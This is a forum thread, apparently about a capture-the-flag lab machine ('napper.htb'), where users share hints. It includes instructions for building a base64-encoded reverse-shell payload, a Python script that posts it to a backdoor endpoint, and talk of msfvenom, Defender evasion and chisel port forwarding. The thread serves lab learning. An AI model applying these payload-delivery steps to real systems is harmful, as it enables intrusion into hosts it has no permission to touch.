[Akless]

I have been trying to make several payloads but it has not been possible

[webzi]

7680/tcp open  pando-pub?

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

[M4RCK]

I also tried to set base64 .net assembly payload- in /ews/MsExgHealthCheckd/ but it doesn't work , any ideas?

[chillywilly]

msfvenom the way to go or does that get caught by defender?

[Akless]

I've already got the user flag, any clues about root?

[LoadError]

I've already got the user flag, any clues about root?

also stuck here atm :/

[bololohaha]

Something with the `a.exe` or the elastic creds

[peRd1]

I've already got the user flag, any clues about root?

also stuck here atm :/

well well it's elastic related, should be, that thing running on port 9200
port forward it and play...

i am still stuck though

[Akless]

I am trying to use chisel to forward the port, but it is not working for me

[Akless]

Para la bandera del usuario usen:

https://gist.github.com/BankSecurity/55f...b79b2a83cc
En el enlace encuentran un archivo .cv solo le cambian la IP el puerto y deben de ponerme donde dice powershell se lo cambian a cmd.exe y compilan el archivo y luego lo pasan a base 64 que es el que pone payload:

Base64 -w0 payload.exe | xclip -sel clip donde dice payload.exe es despues de la compilacion que deben de hacer con el link que les deje adjunto

adicional hay un PoC
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


hosts=["napper.htb"]
payload = "<>"

form_field=f"sdafwe3rwe23={requests.utils.quote(payload)}"

for h in hosts:
   url_ssl= f"https://{h}/ews/MsExgHealthCheckd/"

   try:
       r_ssl = requests.post(url_ssl, data=form_field, verify=False)
       print(f"{url_ssl} : {r_ssl.status_code} {r_ssl.headers}")
   except KeyboardInterupt:
       exit()
   except Exception as e:
       print("e")
       pass